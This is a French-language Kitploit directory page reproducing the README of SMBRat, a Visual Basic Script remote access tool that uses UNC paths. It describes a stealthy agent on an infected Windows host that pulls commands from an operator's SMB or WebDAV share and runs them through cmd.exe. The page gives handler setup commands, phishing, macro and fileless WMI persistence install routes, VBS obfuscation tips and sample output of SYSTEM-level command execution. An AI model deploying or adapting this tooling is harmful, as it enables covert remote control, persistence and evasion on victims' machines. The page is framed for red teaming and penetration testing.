Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
SMBRat — Un outil d'administration à distance Windows en Visual Basic avec des chemins UNC | Kitploit
Outils/GitHubGitHub/operatorequals/smbrat
Outils de PhishingGénération de PayloadsMécanismes de PersistanceExploitationMouvement LatéralShellcodePost-ExploitationTests d'IntrusionCommandement et ContrôleRed TeamingOutil d'Accès à Distance
22123il y a 7 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHub
operatorequals/smbrat

SMBRat

Un outil d'administration à distance Windows en Visual Basic avec des chemins UNC

Voir le dépôt

SMBRat

Un outil d'administration à distance Windows en Visual Basic Script

Idée

Les environnements Windows, comme les réseaux Active Directory, deviennent très lourds avec le trafic SMB.

Tous les hôtes reçoivent des stratégies depuis SYSVOL, les configurations ont besoin de fichiers distants pour fonctionner, les raccourcis du bureau tendent à pointer vers \\quelquechose\d'autre\dans\le\réseau.exe.

Personne ne remarquerait une tentative de connexion supplémentaire. Non ?

- Surtout si elle réussit (il est à la mode de ne surveiller que les Refus du Pare-feu)

Ingrédients

Agent

Adapté à la documentation/archivage

L'agent est un Script Visual Basic qui s'exécute sur l'hôte infecté et se connecte au Serveur SMB. Il crée un répertoire dans celui-ci nommé d'après le nom d'hôte et l'adresse MAC principale de l'hôte (essayant d'être à la fois unique et informatif à des fins de rapport). Toutes les commandes et informations pour l'hôte infecté seront stockées dans ce répertoire. La compression de tout le dossier partagé en zip archivera toutes les informations du projet !

Furtif

Il n'utilise PAS de lettre de lecteur pour Monter le partage, il utilise uniquement les chemins UNC pour lire directement les fichiers distants (aucun lecteur n'est créé dans explorer.exe).

Il injecte également le chemin UNC dans la variable %PATH% de son propre environnement d'exécution (vous pouvez exécuter des exécutables directement depuis le système de fichiers de votre machine Linux).

Exécution de l'Agent

L'agent est configuré pour s'exécuter une fois. Sans état.

Sa routine est (plus ou moins) la suivante :

  • Il recherche un fichier nommé exec.dat dans le dossier qu'il a créé dans le Partage SMB
  • S'il trouve le fichier, il lit son contenu et l'exécute comme une commande avec cmd.exe /c <command> tel un shell semi-interactif.
  • La réponse de la commande est stockée dans output.dat (à côté de exec.dat).
  • Supprime le fichier exec.dat.
Page Wiki pour configurer l'Agent

Handler

Le handler a besoin d'un Serveur SMB pour fonctionner. Le module smbserver.py du package [Core Security's impacket] (https://github.com/coresecurity/impacket) fera l'affaire.

Très probablement, smbd ferait aussi l'affaire, mais n'a pas encore été testé.

Configuration du Serveur SMB

Un partage nommé D$ est nécessaire, pour ressembler à un SMB légitime d'un hôte Windows.

root@kitploit:~
# mkdir Share
# smbserver.py -comment "My Share" "D$" Share/
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

Le cas WebDAV !

Comme l'agent est configuré pour n'utiliser que des chemins UNC, WebDAV peut également être utilisé sans aucune modification. Au lieu d'un serveur SMB, un serveur WebDAV peut être utilisé (un excellent serveur WebDAV avec support SSL est [wsgidav] (https://github.com/mar10/wsgidav/)).

root@kitploit:~
# mkdir 'D$'
# wsgidav -p 80 -H 0.0.0.0 -r . --auth anonymous
[...] INFO    :  WsgiDAV/3.0.0 Python/2.7.16 Linux-4.19.0-kali3-amd64-x86_64-with-Kali-kali-rolling-kali-rolling
[...] INFO    :  Lock manager:      LockManager(LockStorageDict)
[...] INFO    :  Property manager:  None
[...] INFO    :  Domain controller: SimpleDomainController()
[...] INFO    :  Registered DAV providers by route:
[...] INFO    :    - '/:dir_browser': FilesystemProvider for path '/root/.virtualenvs/wsgidav/local/lib/python2.7/site-packages/wsgidav/dir_browser/htdocs' (Read-Only) (anonymous)
[...] INFO    :    - '/': FilesystemProvider for path '/tmp/DAV' (Read-Write) (anonymous)
[...] WARNING :  Basic authentication is enabled: It is highly recommended to enable SSL.
[...] WARNING :  Share '/:dir_browser' will allow anonymous read access.
[...] WARNING :  Share '/' will allow anonymous write access.
[...] INFO    :  Running WsgiDAV/3.0.0 Cheroot/6.5.4 Python/2.7.16
[...] INFO    :  Serving on http://0.0.0.0:80 ...

[...] INFO    :  192.168.163.130 - (anonymous) - [2019-04-18 14:57:53] "PROPFIND /D$/Project1/DESKTOP-I3NFOQ5-John-AA-BB-CC-DD-EE-FF/ping.dat" length=0, depth=0, elap=0.004sec -> 207 Multi-Status

Pour le support SSL, les chemins UNC doivent légèrement changer, passant de :

root@kitploit:~
\\<IP-Serveur>\DIR\

à :

root@kitploit:~
\\<IP-Serveur>@SSL@443\DIR\

Ce changement ne peut être effectué que sur la variable ServerName dans agent.vbs, car tous les chemins sont construits à partir de celle-ci. Gardez à l'esprit que les certificats SSL doivent être approuvés par le système exécutant l'agent. Les certificats auto-signés échoueront avec des avertissements.

Schéma d'infection

Infecter un hôte à partir d'un fichier

Une boucle While peut être ajoutée au début du fichier agent.vbs, avec une instruction de délai de plusieurs secondes (10 secondes est idéal), et elle pourra infecter les hôtes Windows par double-clic / phishing / macros Excel / etc...

Une boucle while True en VBS avec un délai d'une seconde ressemble à ceci :

root@kitploit:~
Do While True
	[...]
	WScript.Sleep 1000
Loop

Infecter un hôte sans fichier

Cependant, si un hôte Windows a RPC activé, il est possible d'installer le fichier VBS en tant que malware sans fichier via WMI et les fabuleux exemples du package impacket avec une commande comme :

root@kitploit:~
$ examples/wmipersist.py '<utilisateur>:<mot de passe>@<nom d'hôte/adresse IP>' install -vbs agent.vbs -name smbrat -timer 10

Il est également possible d'utiliser l'outil WMI par accès local pour installer l'agent.vbs en tant que malware sans fichier.

Obfuscation ?

Les scripts Visual Basic peuvent être joliment obfusqués, codés en base64 ainsi que minifiés.

Cela peut être très pratique pour les peaufiner avant "déploiement" 😉

  • [Outil en ligne pour l'obfuscation VBS] (https://isvbscriptdead.com/vbs-obfuscator/)
  • [Dépôt Github] (https://github.com/DoctorLai/VBScript_Obfuscator)

[Structure des répertoires dans le Partage SMB] (https://github.com/operatorequals/SMBRat/wiki/Directory-Structure)

Ne créez jamais de dossiers manuellement dans le dossier partagé

Utilisation minimale

Au moment de la rédaction, aucun shell Handler n'est implémenté, donc l'utilisation peut être effectuée en utilisant simplement une commande comme watch pour inspecter le fichier output.dat :

root@kitploit:~
$ watch -n0.2 cat Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/output.dat

et echo pour écrire des trucs dans le fichier exec.dat :

root@kitploit:~
$ echo 'whoami /all' > Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/exec.dat

Le handler.py

Le shell expérimental fonctionne comme suit :

root@kitploit:~
$ python handler.py Share/
SMBRat> 
# Quand un nouvel hôte est infecté :
[+] Agent "DESKTOP-EG4OE7J" (00:0C:29:2B:9F:AF) vient de s'enregistrer pour le Projet : "projectName"

SMBRat> execall whoami /user

[>] Envoi de 'whoami /user' à "projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF" ...
		
SMBRat> 
[<] Réponse de 'projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF' : 


INFORMATIONS UTILISATEUR
------------------------

Nom d'utilisateur   SID     
=================== ========
nt authority\system S-1-5-18

^^^^^^^^^^^^^^^^^^^^ projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ^^^^^^^^^^^^^^^^^^^^
SMBRat> 
				

Pièges notables

SMBv1 n'est pas chiffré :

root@kitploit:~
# tcpdump -i eth0 -A
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes

[...]

15:25:06.695502 IP Deskjet-4540.microsoft-ds > 172.16.47.129.3128: Flags [P.], seq 2876:2971, ack 4791, win 2110, length 95 SMB PACKET: SMBreadX (REPLY)

E...,E@[email protected].../.../....8
.&Mi~.6P..>.......[.SMB........................
.@............ .;........... .net localgroup "administrators"

[...]

15:25:06.702916 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 4917:5111, ack 3097, win 2052, length 194 SMB PACKET: SMBtrans2 (REQUEST)

E...E.@......./.../..8..i~..
.'*P....b.......SMB2......................

.F..z.....(...........z.D.........}..........\.p.r.o.j.e.c.t.N.a.m.e.\.D.E.S.K.T.O.P.-.E.G.4.O.E.7.J.-.0.0.:.0.C.:.2.9.:.2.B.:.9.F.:.A.F.\.o.u.t.p.u.t...d.a.t...

[...]

15:25:06.751372 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 6049:6393, ack 3748, win 2050, length 344 SMB PACKET: SMBwrite (REQUEST)

[email protected]../.../..8..i~. 
.).P....*.....T.SMB........................
.T....$.......'..$.Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Admin
Administrator
defaultuser0
The command completed successfully.

[...]

Le trafic (les contenus et chemins des fichiers) est transféré en texte clair si un Serveur SMBv1 est utilisé (par exemple smbserver.py de impacket).

  • Une couche de chiffrement/obfuscation résoudrait totalement ce problème !

Le partage entier est en LECTURE/ÉCRITURE pour tout le monde :

Tous les Agents peuvent modifier les fichiers stockés dans l'ensemble du partage. Cela signifie qu'ils peuvent modifier le exec.dat des autres Agents... Un smbmap éclaircira cela :

root@kitploit:~
$ smbmap -H 172.16.47.189
[+] Finding open SMB ports....
[+] User SMB session establishd on 172.16.47.189...
[+] IP: 172.16.47.189:445	Name: Deskjet-4540                                      
	Disk                                                  	Permissions
	----                                                  	-----------
	D$                                                	READ, WRITE
	[!] Unable to remove test directory at \\172.16.47.189\D$\SVNRmxBFAO, plreae remove manually
	IPC$                                              	READ, WRITE
	[!] Unable to remove test directory at \\172.16.47.189\IPC$\SVNRmxBFAO, plreae remove manually

Faites attention à l'absence des paramètres -u et -p de smbmap.

Il s'agit d'une session NULL (comme une connexion anonyme FTP). TOUT LE MONDE peut modifier les fichiers du partage et obtenir une Exécution de Code à Distance sur toutes les machines infectées.

  • Mieux vaut configurer quelques iptables ici...

Les sessions ne sont PAS interactives

Tapez execall netsh et vous perdez tous vos Agents. Aucun ne répondra car agent.vbs lancera le shell netsh.exe et attendra qu'il se termine pour écrire son contenu dans output.dat. Mais Devinez Quoi... Il ne se terminera pas... Il va rester bloqué avec le netsh> pointant vers le vide.

Télécharger l’outil